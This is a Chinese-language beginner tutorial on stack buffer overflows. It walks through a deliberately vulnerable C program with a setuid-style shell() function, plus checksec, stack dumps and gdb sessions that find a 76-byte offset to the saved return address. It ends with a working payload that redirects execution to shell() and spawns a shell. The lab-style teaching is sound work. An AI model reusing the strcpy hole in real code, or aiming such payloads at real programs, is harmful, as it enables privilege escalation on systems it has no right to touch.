栈溢出入门教程三
overflow3.c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "dump_stack.h"
/*
* Goal: Get the program to run this function.
*/
void shell(void) {
execl("/bin/sh", "sh", NULL);
}
void vuln(char *str) {
char buf[64];
strcpy(buf, str);
dump_stack((void **) buf, 21, (void **) &str);
}
int main(int argc, char **argv) {
if (argc != 2) {
printf("Usage: buffer_overflow [str]\n");
return 1;
}
uid_t euid = geteuid();
setresuid(euid, euid, euid);
printf("shell function = %p\n", shell);
vuln(argv[1]);
return 0;
}
checksec的结果:
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
几乎没有什么保护,脆弱的程序啊.
思路:由上面的c代码可见,如果我们能够执行shell函数,我们就能拿到shell.但是没有条件跳转过去.但是我们有溢出这个漏洞可以利用,劫持eip,使其跳转到shell函数.
1.找出返回值地址.
./overflow3 $(python -c "print 'A'*64+'B'*4")
shell function = 0x80485f8
Stack dump:
0xffffced0: 0xffffd196 (first argument)
0xffffcecc: 0x080486bc (saved eip)
0xffffcec8: 0xffffcef8 (saved ebp)
0xffffcec4: 0xf7ffd900
0xffffcec0: 0x42424242
0xffffcebc: 0x41414141
0xffffceb8: 0x41414141
0xffffceb4: 0x41414141
0xffffceb0: 0x41414141
0xffffceac: 0x41414141
0xffffcea8: 0x41414141
0xffffcea4: 0x41414141
0xffffcea0: 0x41414141
0xffffce9c: 0x41414141
0xffffce98: 0x41414141
0xffffce94: 0x41414141
0xffffce90: 0x41414141
0xffffce8c: 0x41414141
0xffffce88: 0x41414141
0xffffce84: 0x41414141
0xffffce80: 0x41414141 (beginning of buffer)
上面结果给出了:eip的地址是0xffffcecc,与beginning of buffer(0xffffce80)相差76,接下来需要获取shell函数的地址.
objdump -d overflow3|grep ">:"
0804837c <_init>:
080483b0 <setresuid@plt-0x10>:
080483c0 <setresuid@plt>:
080483d0 <printf@plt>:
080483e0 <geteuid@plt>:
080483f0 <strcpy@plt>:
08048400 <puts@plt>:
08048410 <__gmon_start__@plt>:
08048420 <__libc_start_main@plt>:
08048430 <putchar@plt>:
08048440 <execl@plt>:
08048450 <_start>:
08048480 <__do_global_dtors_aux>:
080484e0 <frame_dummy>:
08048504 <dump_stack>:
080485f8 <shell>:
0804861c <vuln>:
08048650 <main>:
080486d0 <__libc_csu_init>:
08048740 <__libc_csu_fini>:
08048742 <__i686.get_pc_thunk.bx>:
08048750 <__do_global_ctors_aux>:
0804877c <_fini>:
shell地址:0x080485f8.于是构造下面payload:./overflow3 $(python -c “print ‘A’*76+’\xf8\x85\x04\x08’”).
结果图:
方法二:对于这类需要劫持控制流,上面这种属于特殊情况.因为它执行了了dump_stack函数,将相关的堆栈信息输出了.对于那些没有将栈信息输出的程序,我们可以通过gdb调试来计算出返回值地址和buffer start之间的距离,然后再覆盖其返回值地址,劫持控制流.
gdb --args ./overflow3 $(python -c "print 'A'*64+'B'*4")
vuln函数汇编代码:
0x0804861c <+0>: push ebp
0x0804861d <+1>: mov ebp,esp
0x0804861f <+3>: sub esp,0x58
0x08048622 <+6>: mov eax,DWORD PTR [ebp+0x8]
0x08048625 <+9>: mov DWORD PTR [esp+0x4],eax
0x08048629 <+13>: lea eax,[ebp-0x48]
0x0804862c <+16>: mov DWORD PTR [esp],eax
0x0804862f <+19>: call 0x80483f0 <strcpy@plt>
0x08048634 <+24>: lea eax,[ebp+0x8]
0x08048637 <+27>: mov DWORD PTR [esp+0x8],eax
0x0804863b <+31>: mov DWORD PTR [esp+0x4],0x15
0x08048643 <+39>: lea eax,[ebp-0x48]
0x08048646 <+42>: mov DWORD PTR [esp],eax
0x08048649 <+45>: call 0x8048504 <dump_stack>
0x0804864e <+50>: leave
0x0804864f <+51>: ret
我们在0x0804861d和0x0804864e分别下断点.
b * 0x0804861d
b * 0x0804864e
0x0804861d处的栈空间内容:
gdb-peda$ x/32x $esp-0x50
0xffffce18: 0x000000e0 0x00000000 0xf7ffd000 0x0804827c
0xffffce28: 0x34303840 0x38663538 0xffffce98 0xf7e05798
0xffffce38: 0xf7e40bcb 0x00000000 0xf7faf000 0xf7faf000
0xffffce48: 0xffffce98 0xf7e48046 0xf7fafd60 0x08048839
0xffffce58: 0xffffce78 0xf7e48020 0x08048839 0xf7ffd918
0xffffce68: 0xffffce98 0x080486bc 0xffffd165 0x080485f8
0xffffce78: 0x000003e8 0xf7e2d9eb 0xf7faf3dc 0x0804823c
0xffffce88: 0x080486d9 0x000003e8 0xf7faf000 0xf7faf000
断点:0x0804864e的栈信息
gdb-peda$ x/30x 0xffffce70-0x50
0xffffce20: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffce30: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffce40: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffce50: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffce60: 0x42424242 0xf7ffd900 0xffffce98 0x080486bc
0xffffce70: 0xffffd165 0x080485f8 0x000003e8 0xf7e2d9eb
由于vuln函数的返回地址是0x080486bc,由此我们可以计算出返回地址距buffer start的距离.
0xffffce6c-0xffffce20=0x4c=76
运行:
./overflow $(python -c "A"*76+'\xf8\x85\x04\x08')
获得一个新的shell.
其实本题我们也可以通过shellcode,来获取一个新的shell.
这个方法在下面的文章你会看到的.
注:由于操作系统的原因,函数的地址可能会有不同,在此一定要以你的电脑上的地址为准.附带相关文件地址:文件地址